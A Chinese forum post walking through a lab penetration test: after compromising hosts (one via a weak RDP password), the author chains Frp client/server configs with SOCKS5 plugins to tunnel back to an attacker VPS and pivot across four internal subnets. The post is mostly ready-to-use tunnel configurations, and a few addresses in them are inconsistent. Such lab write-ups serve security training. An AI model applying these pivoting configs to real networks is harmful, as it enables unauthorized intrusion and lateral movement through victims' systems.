多层内网通信隧道:Frp实现方案详解

0x01 Frp简介

Frp是一款专注于内网穿透的高性能反向代理应用,支持多种协议,如TCP、UDP、HTTP、HTTPS等。它能够将内网服务以安全、便捷的方式通过具有公网IP的中转暴露到公网。通过简单的配置,你可以在复杂的网络环境中实现灵活的内网通信。

图片[1]-多层内网通信隧道:Frp实现方案详解-山海云端论坛

0x02 配置文件说明

Frp的配置文件分为frps.ini(服务端)和frpc.ini(客户端)。以下是常见配置项的说明:

服务端配置 (frps.ini):

<code>[common] bind_addr = 0.0.0.0 # 服务端监听地址 bind_port = 7000 # 服务端监听端口 auth_token = xxxxxxxx # 验证凭据</code>

客户端配置 (frpc.ini):

<code>[common] server_addr = x.x.x.x # 连接的服务器IP地址 server_port = 7000 # 连接的服务器端口 [http_proxy] type = tcp local_ip = x.x.x.x # 本地IP local_port = 8888 # 本地监听端口 remote_port = 8888 # 远程服务器端口 use_encryption = true # 启用加密 plugin = socks5 # 使用socks5代理</code>

0x03 实验环境

  • 攻击机: VPS(192.168.53.132)、Win10(192.168.53.129)
  • 受害机: Debian(192.168.53.134、10.10.20.131)、Win7(10.10.20.129、10.10.30.130)、Win10(10.10.30.132、172.16.5.132)、2008(172.16.5.129、172.16.10.128)
图片[2]-多层内网通信隧道:Frp实现方案详解-山海云端论坛

0x04 多层隧道实战

4.1 第一层隧道 在拿到Debian主机权限后,通过frps监听,将攻击机与Debian连接,实现对10.10.20.0/24网段的扫描。

<code># Debian (frpc.ini) [common] server_addr = 192.168.53.132 server_port = 7000 [http_proxy] type = tcp local_ip = 10.10.20.131 remote_port = 8888 local_port = 8888 plugin = socks5</code>

4.2 第二层隧道 通过3389弱口令拿到10.10.20.129主机后,发现存在10.10.30.0/24网段。搭建第二层通信隧道,实现对10.10.30.0/24网段的扫描。

Debian (frpc.ini):

<code>[common] server_addr = 192.168.53.132 server_port = 7000 [http_proxy] type = tcp remote_port = 8888 local_ip = 10.10.20.131 local_port = 8888 plugin = socks5</code>

Win7 (frpc.ini):

<code>[common] server_addr = 10.10.20.131 server_port = 7000 [http_proxy] type = tcp local_ip = 10.10.30.130 remote_port = 8888 local_port = 8888 plugin = socks5</code>

4.3 第三层隧道 控制Win7后,发现存在172.16.5.0/24网段。搭建第三层通信隧道,实现对172.16.5.0/24网段的扫描。

Win7 (frpc.ini):

<code>[common] server_addr = 10.10.20.131 server_port = 7000 [http_proxy] type = tcp local_ip = 10.10.30.130 remote_port = 8888 local_port = 8888 plugin = socks5</code>

PC (frps.ini):

<code>[common] bind_addr = 10.10.20.131 bind_port = 7000</code>

Win10 (frpc.ini):

<code>[common] server_addr = 10.10.20.131 server_port = 7000 [http_proxy] type = tcp local_ip = 172.16.5.132 remote_port = 8888 local_port = 8888 plugin = socks5</code>

4.4 第四层隧道 控制172.16.5.129后,发现存在172.16.10.0/24网段。搭建第四层通信隧道,实现对172.16.10.0/24网段的扫描。

PC (frpc.ini):

<code>[common] server_addr = 10.10.20.131 server_port = 7000 [http_proxy] type = tcp local_ip = 172.16.5.132 remote_port = 8888 local_port = 8888 plugin = socks5</code>
图片[3]-多层内网通信隧道:Frp实现方案详解-山海云端论坛

2008 (frps.ini):

<code>[common] bind_addr = 172.16.5.129 bind_port = 7000</code>
图片[4]-多层内网通信隧道:Frp实现方案详解-山海云端论坛

Win10 (frpc.ini):

<code>[common] server_addr = 172.16.5.129 server_port = 7000 [http_proxy] type = tcp local_ip = 172.16.10.132 remote_port = 8888 local_port = 8888 plugin = socks5</code>
图片[5]-多层内网通信隧道:Frp实现方案详解-山海云端论坛

通过多层隧道成功登录到所有主机。

0x05 总结

通过搭建多层内网通信隧道,我们成功实现了在复杂网络环境中的内网渗透。Frp的灵活配置使得我们能够轻松地穿越多层防火墙,实现对不同网段主机的控制。

© 版权声明
THE END
喜欢就支持一下吧
点赞15 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容